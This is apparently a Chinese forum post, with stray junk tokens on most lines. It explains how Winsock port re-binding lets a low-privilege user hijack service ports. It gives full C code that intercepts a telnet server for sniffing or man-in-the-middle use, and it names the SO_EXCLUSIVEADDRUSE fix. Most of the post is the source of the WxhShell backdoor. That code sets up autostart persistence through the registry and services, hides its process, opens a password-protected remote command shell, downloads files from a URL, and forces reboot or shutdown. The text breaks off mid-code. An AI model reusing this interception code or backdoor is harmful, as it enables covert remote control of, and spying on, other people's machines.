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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /pZ]:.A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lV/-jkR  
6C>"H  
  saddr.sin_family = AF_INET; c8I : jDk:  
Nh7+Vl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |'xVU8  
gf()NfUvRH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ."<mL}Fi(  
vkWh2z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s)ymm7?  
7{ zkqug  
  这意味着什么?意味着可以进行如下的攻击: 3>Ts7 wM  
2?h c94  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 01VEz 8[\  
M[N$N`9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) a%a_sR\)  
fX=o,=-f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8{ aS$V"  
I^*&u,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '`$z!rA  
c=iv\hn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kGsd3t!'  
,C%fA>?UF8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hm"i\JZ3N  
Z<6XB{Nh\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3[plwe  
1'wwwxe7  
  #include rcUXYJCh-  
  #include 5(0f"zY  
  #include (he cvJ  
  #include    7/nnl0u8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dYdZt<6W<(  
  int main() &L[oQni];2  
  { ],l w  
  WORD wVersionRequested; n4Od4&r  
  DWORD ret; JX%B_eUlAs  
  WSADATA wsaData; ,;LxFS5\  
  BOOL val; t .*z)N  
  SOCKADDR_IN saddr; x9Veg4Z7  
  SOCKADDR_IN scaddr; /g}2QmvH  
  int err; C'mYR3?m;  
  SOCKET s; 5}d"nx  
  SOCKET sc; ?-mDvW  
  int caddsize; Enu/Nj 2  
  HANDLE mt; #p@8m_g  
  DWORD tid;   `NqX{26GV+  
  wVersionRequested = MAKEWORD( 2, 2 ); dHp(U :)  
  err = WSAStartup( wVersionRequested, &wsaData ); a g Za+a  
  if ( err != 0 ) { xxWrSl`fB  
  printf("error!WSAStartup failed!\n"); l<fZt#T  
  return -1; $e66jV  
  } n#,<-Rb-  
  saddr.sin_family = AF_INET; =SJwCT0;  
   #w\Bc\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d4OWnPHv&}  
ck-ab0n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2%Bq[SMuN  
  saddr.sin_port = htons(23); +X)n}jh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $^|I?5xD  
  { * 7: )k  
  printf("error!socket failed!\n"); bvY'=   
  return -1; jb~2f2vUa  
  } $2u^z=`b!%  
  val = TRUE; HPT{83  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?;1^8 c0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t?J Y@hT*  
  { M{#  
  printf("error!setsockopt failed!\n"); LgN\%5f-  
  return -1; !vNZ- }  
  } L'XX++2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nO{@p_3mi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wez"E2J`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?M'_L']N[  
^+Ho#]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W\xM$#)m  
  { ,VK! 3$;|  
  ret=GetLastError(); Ul@ Jg    
  printf("error!bind failed!\n"); '\yp}r'u  
  return -1; 0Y7b$~n'Y  
  } VO"f=gFg  
  listen(s,2); WR'm<u  
  while(1) r?Y+TtF\e  
  { 3m1]Ia -9  
  caddsize = sizeof(scaddr); ~9#nC`%2j  
  //接受连接请求 ? U~}uG^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q}Wd`>VDR  
  if(sc!=INVALID_SOCKET) 5r1{l%?  
  { 2p3ep,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); " jefB6k9h  
  if(mt==NULL) -cW`qWbd  
  { xsjJ8>G  
  printf("Thread Creat Failed!\n"); O&=40"Dr  
  break; > "G H Li  
  } Wl3jbupu _  
  } ISo{>@a-  
  CloseHandle(mt); 5X^bvW26  
  } .eQIU$Kw!O  
  closesocket(s); V&)lS Qw  
  WSACleanup(); +QS7F`O  
  return 0; B-63IN  
  }   }T!2IaAB  
  DWORD WINAPI ClientThread(LPVOID lpParam) ppcuMcR{  
  { [5&zyIi  
  SOCKET ss = (SOCKET)lpParam; Q8:`;W  
  SOCKET sc; ni @Mqb  
  unsigned char buf[4096]; CV <@Rgoa  
  SOCKADDR_IN saddr; T*"15ppfk  
  long num;  4{2)ZI#  
  DWORD val; " bHeNWZ  
  DWORD ret; JI1O(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o* q F"xG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   SZ+<0Y |  
  saddr.sin_family = AF_INET; n ,<`.^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8 jom)a  
  saddr.sin_port = htons(23); **I9Nw!IH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,,+ ~./)  
  { .\*3t/R=X  
  printf("error!socket failed!\n"); z!09vDB^  
  return -1; '8g/^Y@  
  } :Uu Py|>  
  val = 100; B Z:H$v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rV LUT  
  { .f'iod-   
  ret = GetLastError(); S30@|@fTz  
  return -1; /$OX'L&b  
  } Kgi| 7w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u*R9x3&/5  
  { pa0'\  
  ret = GetLastError(); ;d17xu?ks  
  return -1; 6MC*2}W  
  } ag6hhkj A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xJ"CAg|B  
  { {.7ve<K  
  printf("error!socket connect failed!\n");  o^59kQT  
  closesocket(sc); =m@5$  
  closesocket(ss); f3h&K}x  
  return -1;  >m!l5/  
  } 8.e k_ r  
  while(1) iR-MuDM  
  { 13s0uyYU<m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 51oZ w%os=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q ! 5P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ed/@&52z0  
  num = recv(ss,buf,4096,0); {b@rQCre7  
  if(num>0) amI$0  
  send(sc,buf,num,0); /Cd`h ;#@  
  else if(num==0) ],r?]>  
  break; 7#Qa/[? D  
  num = recv(sc,buf,4096,0); -C$Z%I7 0  
  if(num>0) g%w@v$  
  send(ss,buf,num,0); [kqxC  
  else if(num==0) zT}Qrf~  
  break; :=#*[H  
  } qlUYu"`i  
  closesocket(ss); 5 Vm |/  
  closesocket(sc); ?i4}[q  
  return 0 ; 06bl$%  
  } "A jtNL5  
;S+c<MSl  
`~( P  
========================================================== kmM4KP#&|  
s(7'*`G"h  
下边附上一个代码,,WXhSHELL Fz+0h"  
;K?fAspSH  
========================================================== Fi{~UOZg  
(sw1HR  
#include "stdafx.h" \\jB@O  
NF=FbvNe  
#include <stdio.h> /p') u3  
#include <string.h> $;*YdZ`q  
#include <windows.h> l79jd%/m  
#include <winsock2.h> n5_r 3{  
#include <winsvc.h> '3uj6Wq2  
#include <urlmon.h> zx\N^R;Jq  
+P6#7.p`Z  
#pragma comment (lib, "Ws2_32.lib") R<mLG $  
#pragma comment (lib, "urlmon.lib") WfVkewuPo  
amf=uysr  
#define MAX_USER   100 // 最大客户端连接数 MBCA%3z08  
#define BUF_SOCK   200 // sock buffer h Ia{s)  
#define KEY_BUFF   255 // 输入 buffer =K2Dxu_:  
w <]7:/  
#define REBOOT     0   // 重启 uK]@! gz  
#define SHUTDOWN   1   // 关机 6wzF6] @O  
zTY|Z@:  
#define DEF_PORT   5000 // 监听端口 ok X\z[X  
x&R&\}@G m  
#define REG_LEN     16   // 注册表键长度 1W;3pN  
#define SVC_LEN     80   // NT服务名长度 3m4?l ~  
HSx~Fs^J  
// 从dll定义API c1/G yq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kP%W:4l0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ua:.97~Ym  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uMF\3T(x4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  1$idF  
XzQ=8r>l  
// wxhshell配置信息 t Zj6=#  
struct WSCFG { K_nN|'R-  
  int ws_port;         // 监听端口 fD q, )~D  
  char ws_passstr[REG_LEN]; // 口令 fRT:@lV  
  int ws_autoins;       // 安装标记, 1=yes 0=no bi!4I<E>k  
  char ws_regname[REG_LEN]; // 注册表键名 <Q=ES,M  
  char ws_svcname[REG_LEN]; // 服务名 ^e8R 43w:!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5h[u2&;G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p)ta c*US  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QN-n9f8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CzzG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;JFE7\-mC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NpD}7t<EF  
GT%V,OJ  
}; MvY0?!v  
oKt<s+r  
// default Wxhshell configuration X5wS6v)#(  
struct WSCFG wscfg={DEF_PORT, 6u7 (}K  
    "xuhuanlingzhe", /+RNPQO O  
    1, u7j-uVG  
    "Wxhshell", z/fRd6|[  
    "Wxhshell", @.*[CC;&  
            "WxhShell Service", Nl_!%k:  
    "Wrsky Windows CmdShell Service", qx{.`AaZW  
    "Please Input Your Password: ", &7Ixf?e!K  
  1, 8<P$E!  
  "http://www.wrsky.com/wxhshell.exe", _DC/`_'  
  "Wxhshell.exe" (Wq9YDD@  
    }; joDfvY*[  
6Epns s  
// 消息定义模块 NOx&`OU+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /BT;Q)( &  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kRiWNEw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }(E6:h;}~  
char *msg_ws_ext="\n\rExit."; T<54qe4`p  
char *msg_ws_end="\n\rQuit."; a\}|ikiE  
char *msg_ws_boot="\n\rReboot..."; e%bER ds  
char *msg_ws_poff="\n\rShutdown..."; X 3L9j(  
char *msg_ws_down="\n\rSave to "; w#F+rh3  
j)-D.bY0  
char *msg_ws_err="\n\rErr!"; ZX-9BJ`Q  
char *msg_ws_ok="\n\rOK!"; 77i |a]Kd  
no?)GQ  
char ExeFile[MAX_PATH]; p w>A Q  
int nUser = 0; T|.Q81.NE  
HANDLE handles[MAX_USER]; !u6~#.7  
int OsIsNt; ?RpT_u  
bwVv#Z\r  
SERVICE_STATUS       serviceStatus; a #@Q.wL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YGWb!|Z$  
+1d\ZZA|6&  
// 函数声明 #-'}r}1ZT  
int Install(void); |B`-chK  
int Uninstall(void); ]Vb#(2<2  
int DownloadFile(char *sURL, SOCKET wsh); =V5.c+  
int Boot(int flag); V2VsJ  
void HideProc(void); h!K B%4V  
int GetOsVer(void); IJ4"X#Q/  
int Wxhshell(SOCKET wsl); sTG+c E  
void TalkWithClient(void *cs); 2zFdKs,  
int CmdShell(SOCKET sock); 6S6nE%.3  
int StartFromService(void); WP]<\_r2  
int StartWxhshell(LPSTR lpCmdLine); HAO/r`7*  
k 5"3*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ka_UVKwMro  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T@yH. 4D  
;g*X.d  
// 数据结构和表定义 VdeK~#k  
SERVICE_TABLE_ENTRY DispatchTable[] = $#RD3#=?u  
{ j%p~.kW5  
{wscfg.ws_svcname, NTServiceMain}, m6;Xo}^w  
{NULL, NULL} ~|uCZ.;o  
}; w|L~+   
!'{j"tv  
// 自我安装 ?G?=,tV  
int Install(void) 2M&4]d  
{ K6Gc)jp:b  
  char svExeFile[MAX_PATH]; ,6M-xSDs  
  HKEY key; A^K,[8VX  
  strcpy(svExeFile,ExeFile); M%B[>pONb7  
'oT}jI  
// 如果是win9x系统,修改注册表设为自启动 SAH\'v0  
if(!OsIsNt) { h.?[1hT4R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "L8V!M_e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); awkVjyqX  
  RegCloseKey(key); \Flq8S/t^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y43#];  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ra{B8)Q  
  RegCloseKey(key); @\"*Z&]8z0  
  return 0; ~JZ Lfw  
    } q#p)E=$  
  } 5z]dA~;*2  
} 'nT#3/rL  
else { %<M<'jxSca  
u^]yz&9V  
// 如果是NT以上系统,安装为系统服务 p +T&9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cEqh|Q  
if (schSCManager!=0) P);Xke  
{ )K?GAj]Pq  
  SC_HANDLE schService = CreateService ! 4oIx`  
  ( Qy70/on9  
  schSCManager, VuPET  
  wscfg.ws_svcname, M:I,j  
  wscfg.ws_svcdisp, F}AbA pTv  
  SERVICE_ALL_ACCESS, Cfi2N V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z9'0&G L  
  SERVICE_AUTO_START, 9~; Ju^b  
  SERVICE_ERROR_NORMAL, jSVO$AW~C  
  svExeFile, ?s?uoZ /2  
  NULL, K[kmfXKu  
  NULL, GDcV1$NA  
  NULL, )/U1; O  
  NULL, I L\mFjZ'  
  NULL i&HV8&KygN  
  ); WuNu}Ibl}m  
  if (schService!=0) Dw #&x/G  
  { e{} o:r  
  CloseServiceHandle(schService); _bd#C   
  CloseServiceHandle(schSCManager); PR'FSTg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YpKai3 B  
  strcat(svExeFile,wscfg.ws_svcname); d#d~t[=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ib&qH_r/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xaS  
  RegCloseKey(key); v'>Yc#VJ  
  return 0; uc<@ Fh(  
    } p!a%*LfND  
  } xsTxc&0^  
  CloseServiceHandle(schSCManager); GawO>7w8  
} AO]lXa  
} X<QE]RZ  
J6%op{7/  
return 1; ^KaMi_--  
} 8;'n.SC{  
UA9LI<Y  
// 自我卸载 K$]QzPXS  
int Uninstall(void) MMAC,4  
{ IW1\vfe  
  HKEY key; QVH_B+ Q  
Ck:J  
if(!OsIsNt) { < 5PeI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5`uS<[vA  
  RegDeleteValue(key,wscfg.ws_regname); i3"sAr P"|  
  RegCloseKey(key); "_K 6=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /iN\)y#u1  
  RegDeleteValue(key,wscfg.ws_regname); sXa8(xc  
  RegCloseKey(key); 64vSJx>u  
  return 0; yT n@p(J  
  } 8$vH&Hd I  
} C5M-MZaS  
} e||_j  
else { %OtW\T=u  
]03ZrZ! PM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cR&xl^BJ  
if (schSCManager!=0) KwHOV$lD;  
{ iN*>Z(b"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PGKXzp'  
  if (schService!=0) )2$_:Ek  
  { GVM#Xl}w9  
  if(DeleteService(schService)!=0) { 5ZcnZlOOQ  
  CloseServiceHandle(schService); 2o$8CR;  
  CloseServiceHandle(schSCManager); (lnQ!4LK  
  return 0; gQEV;hCO  
  } Ueeay^zN  
  CloseServiceHandle(schService); x-pMT3m\D#  
  } %_[-[t3  
  CloseServiceHandle(schSCManager); ?>y-5B[K/(  
} K7.<,E"M.  
} yq}{6IyZ^  
RI(uG-Y  
return 1; ~ YK <T+  
} ` Z/ IW  
9CNHjs+-}s  
// 从指定url下载文件 "(N HA+s/  
int DownloadFile(char *sURL, SOCKET wsh) @5y(>>C}8%  
{ l0&8vhw8k  
  HRESULT hr; 8joQPHkI\  
char seps[]= "/"; KVR}Tp/R  
char *token; )^\='(s  
char *file; ;Kf|a}m-  
char myURL[MAX_PATH]; h9I )<_}R  
char myFILE[MAX_PATH]; wuzz%9;@B  
XNU qZ-M :  
strcpy(myURL,sURL); {K:Utdu($q  
  token=strtok(myURL,seps); $dP)8_Z2  
  while(token!=NULL) z6lz*%Yi  
  { j;v%4G  
    file=token; [hL1 PWKs  
  token=strtok(NULL,seps); `X='g96C1  
  } tD]&et  
32iI :u  
GetCurrentDirectory(MAX_PATH,myFILE); 2eU[*x  
strcat(myFILE, "\\"); f}X8|GlBo  
strcat(myFILE, file); m-89nOls  
  send(wsh,myFILE,strlen(myFILE),0); 6p " c ^  
send(wsh,"...",3,0); xp&!Cl>C3\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S=}~I  
  if(hr==S_OK) 9oP{Al  
return 0; *d@Hnu"q  
else /[? F1Q  
return 1; ~vGtNMQg  
=%\6}xPEl<  
} EKPTDKut  
;J(,F:N  
// 系统电源模块 rcZ SC3  
int Boot(int flag) Qu,k  
{ jw[BtRW  
  HANDLE hToken; XKX,7  
  TOKEN_PRIVILEGES tkp; 4Aew )   
n^\;*1%$c@  
  if(OsIsNt) { CFm1c1%Hg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HY4E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nb_^3K]r  
    tkp.PrivilegeCount = 1; 2<G1'7)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q|X4[E|{Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C 94@YWs  
if(flag==REBOOT) { nV3 7` I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tr0V6TS7  
  return 0; &H&P)Px*_  
} 9S%gVNxn  
else { Mlw9#H6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <aaDW  
  return 0; 'd^gRH<z  
} 9JV 3  
  } EQJ_$6  
  else { 0;v~5|r  
if(flag==REBOOT) { 5 ek %d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !t Oky  
  return 0; g&3#22z  
} uq4s bkP  
else { SrtVoe[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qW~ R-g]  
  return 0; $p3Wjf:bH  
} 5u_4lNJ&  
} Gd-.E7CH!  
@JEmybu  
return 1; CQHp4_  
} PdH`_/6  
"&#W Mi  
// win9x进程隐藏模块 $Oe58  
void HideProc(void) %s2"W~  
{ ; Uqx&5P}  
g#b u_E61B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X$ B]P 7G7  
  if ( hKernel != NULL ) k!/ _/^{  
  { 1Bk*G>CX9(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @zynqh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  g1wI/  
    FreeLibrary(hKernel); kbYg4t]FH  
  } L-C/Luws  
H='9zqYZ<W  
return; GHJ=-9{YL  
} < mK  
' ?G[T28  
// 获取操作系统版本 ,(0XsBL  
int GetOsVer(void) "YzTMKu  
{ oT)VOkFq  
  OSVERSIONINFO winfo; [du>ff  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '<D`:srV  
  GetVersionEx(&winfo); B~;LBgpp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `Kc %S^C'  
  return 1; [Ht."VxR  
  else FPMSaN P  
  return 0; 2Z`$  
} U aj`  
Ac!&j=ZE  
// 客户端句柄模块 k<'vP{  
int Wxhshell(SOCKET wsl) %wjB)Mae  
{ (L0 hS'  
  SOCKET wsh; _%Jl&0%q  
  struct sockaddr_in client; UI<PNQvo9  
  DWORD myID; n E,gQHw  
6Sb'Otw.  
  while(nUser<MAX_USER) Ef`5fgp? S  
{ sK 1m9  
  int nSize=sizeof(client); 9{%g-u \  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -hVv  
  if(wsh==INVALID_SOCKET) return 1; 'hlB;z|T  
c_G-R+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jh&~/ntmm_  
if(handles[nUser]==0) L_~I ~  
  closesocket(wsh); e}R2J `7  
else 9O=05CQ  
  nUser++; o ?va#/fk  
  } CS;W)F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K_&c5(-(_  
A:.IBctsd  
  return 0; YoF\ MT]W  
} 1>@]@ST[:  
38U5^`  
// 关闭 socket 2u~c/JryN  
void CloseIt(SOCKET wsh) Xrj(,|  
{ =tf@4_  
closesocket(wsh); GIC"-l1\  
nUser--; 2-6.r_  
ExitThread(0); /G)KkBC  
} 7/&C;"  
-[f "r`  
// 客户端请求句柄 T`g?)/  
void TalkWithClient(void *cs) Lf; ta  
{  &6\r  
V|3yZ8lE  
  SOCKET wsh=(SOCKET)cs; :^H9W^2  
  char pwd[SVC_LEN]; Zc4(tf9  
  char cmd[KEY_BUFF]; 8L7Y A)u  
char chr[1]; V/(`Ek-  
int i,j; AJ>BF.>  
ycrh5*g  
  while (nUser < MAX_USER) { )'j_D<  
)l!J$X+R  
if(wscfg.ws_passstr) { h{W$ fZc<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y|m_qB^_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qD(fYOX{C  
  //ZeroMemory(pwd,KEY_BUFF); bIb6yVnHi  
      i=0; u+mjguIv  
  while(i<SVC_LEN) { Q$?7)yyu+  
7cUR.PI#Q  
  // 设置超时 %UUp=I  
  fd_set FdRead; Ok}{jwJ%W;  
  struct timeval TimeOut; o\@ A2r3  
  FD_ZERO(&FdRead); 3yHb!}F  
  FD_SET(wsh,&FdRead); ,#E3,bu6_4  
  TimeOut.tv_sec=8; :$M9XZ~\  
  TimeOut.tv_usec=0; V6@*\+:3)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DMAf^.,S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6z9R1&~%  
;}n9y ci#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u#41osUVW>  
  pwd=chr[0]; Uh3wj|0  
  if(chr[0]==0xd || chr[0]==0xa) { B_SZ?o  
  pwd=0; @tr&R==([  
  break; |TB@@ 2Ky&  
  } lBlSNDs  
  i++; |t4Gz1"q=8  
    } Tn4W\?R  
$z2 xZqe  
  // 如果是非法用户,关闭 socket "ibK1}-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lL:KaQ0E  
} A~6%,q@^jh  
Qb!!J4| !  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z'?7]C2b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :LZ-da"QR  
f$1Gu  
while(1) { CN\|_y  
K/f>f;c  
  ZeroMemory(cmd,KEY_BUFF); FF%\g J  
OwG6i|q  
      // 自动支持客户端 telnet标准   +={  
  j=0; *F\T}k7  
  while(j<KEY_BUFF) { mJ0}DJiX$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZR!cQ oV=  
  cmd[j]=chr[0];  OLk9A  
  if(chr[0]==0xa || chr[0]==0xd) { 6Gs{nFw  
  cmd[j]=0; ]regi- LGU  
  break; DAjG *K{  
  } +"k.E x0:  
  j++; h]kn%?fpmB  
    } .abyYVrN4?  
/hm84La  
  // 下载文件 u:_sTfKm&  
  if(strstr(cmd,"http://")) { [NHg&R H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RDUT3H6~  
  if(DownloadFile(cmd,wsh)) e1^fUOS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:08%4O  
  else ad"'O]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t2=a(N-/,  
  } p//T7r s  
  else { a$C2}  
Ho|o,XvLv  
    switch(cmd[0]) { hMNJ'i}  
  <\ y!3;  
  // 帮助 wVx,JL5Jr  
  case '?': { NFB *1_m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;M}itM  
    break; H"#)&a7  
  } i/NDWVFD  
  // 安装 S:/{  
  case 'i': { 7n\ThfH{  
    if(Install()) \:]DFZ=!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <_"B}c/2$  
    else Gx.P ]O3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O4m(Er@a  
    break; A5sf  
    } 9wAA. -"  
  // 卸载 9.xvV|Sp  
  case 'r': { Z8&4z.6_  
    if(Uninstall()) ;c1relR2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LMAmpVo  
    else 4F}Pu<;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (V$Zc0  
    break; 9 0X?1  
    } HwB {8S?sm  
  // 显示 wxhshell 所在路径 znt)]>f#  
  case 'p': { ?F ce!J  
    char svExeFile[MAX_PATH]; RTK}mhnV  
    strcpy(svExeFile,"\n\r"); inYM+o!Ub  
      strcat(svExeFile,ExeFile); i][f#e4  
        send(wsh,svExeFile,strlen(svExeFile),0); F 4GP7]  
    break; Dt W*n1Bt  
    } `&7mHa61  
  // 重启 #":: ' ?,  
  case 'b': { `q%U{IR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y|^EGnaE  
    if(Boot(REBOOT)) 8s<^]sFP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ks#A<! ;=  
    else { zm3-C%:Bw  
    closesocket(wsh); /$;,F't#2M  
    ExitThread(0); #S%4?   
    } X` ATH^S  
    break; uaiz*Im  
    } <x0)7xX  
  // 关机 tE[H8  
  case 'd': { 4avc=Y5  
